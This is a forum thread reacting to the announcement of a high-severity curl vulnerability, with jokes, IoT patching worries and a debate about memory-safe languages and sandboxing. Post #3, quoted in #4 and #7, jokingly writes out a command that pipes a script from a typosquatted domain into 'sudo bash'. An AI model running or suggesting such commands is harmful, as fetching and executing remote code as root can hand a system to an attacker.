Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#1

Post by Volker_W » Thu, Oct 05, 2023, 8:36 AM UTC

Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11
github.com

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#2

Post by ZiiS » Thu, Oct 05, 2023, 9:27 AM UTC

Ouch! Percentage of internet of things devices who don't ship libcurl is a rounding error. Percentage of internet of things devices that patch libcurl is also a rounding error.

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#3

Post by jjgreen » Thu, Oct 05, 2023, 9:40 AM UTC

Ah, the fix is out!

  curl https://culr.se/cve-fix | sudo bash

aw crap ...

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#4

Post by crest » Thu, Oct 05, 2023, 9:59 AM UTC

jjgreen wrote: post #3

Ah, the fix is out! curl https://culr.se/cve-fix | sudo bash aw crap ...

That's obviously spoofed it. The real fix is hosted at http://haxx.se/l4g1t/cve-fix.sh .

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#5

Post by lvncelot » Thu, Oct 05, 2023, 10:01 AM UTC

Relevant XKCD: https://xkcd.com/2347/

(Just switch Nebraska with Stockholm)

Also consider throwing a buck or two curl's way: https://curl.se/donation.html

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#6

Post by [deleted] » Thu, Oct 05, 2023, 10:07 AM UTC

[deleted]

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#7

Post by d-z-m » Thu, Oct 05, 2023, 10:10 AM UTC

jjgreen wrote: post #3

Ah, the fix is out! curl https://culr.se/cve-fix | sudo bash aw crap ...

Darn those typo squatters!

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#8

Post by Gigachad » Thu, Oct 05, 2023, 10:16 AM UTC

C software really needs to be used in a sandbox because this stuff is inevitable.

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#9

Post by lithagger » Thu, Oct 05, 2023, 10:26 AM UTC

Gigachad wrote: post #8

C software really needs to be used in a sandbox because this stuff is inevitable.

All software handling untrusted input should be sandboxed really. Even if curl was written in a language that prioritises memory safety, there would still be plenty of opportunity for harmful, exploitable bugs to be introduced.

Re: Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

#10

Post by KronisLV » Thu, Oct 05, 2023, 10:30 AM UTC

Gigachad wrote: post #8

C software really needs to be used in a sandbox because this stuff is inevitable.

I wonder whether we'll ever get to a point where the kernel, the drivers and the userland software are all written in memory safe languages, possibly with other safe mechanisms and abstractions thrown in; yet to have it become mainstream and as popular as Linux is now.

Might take decades of work though and probably nobody cares enough for something like that.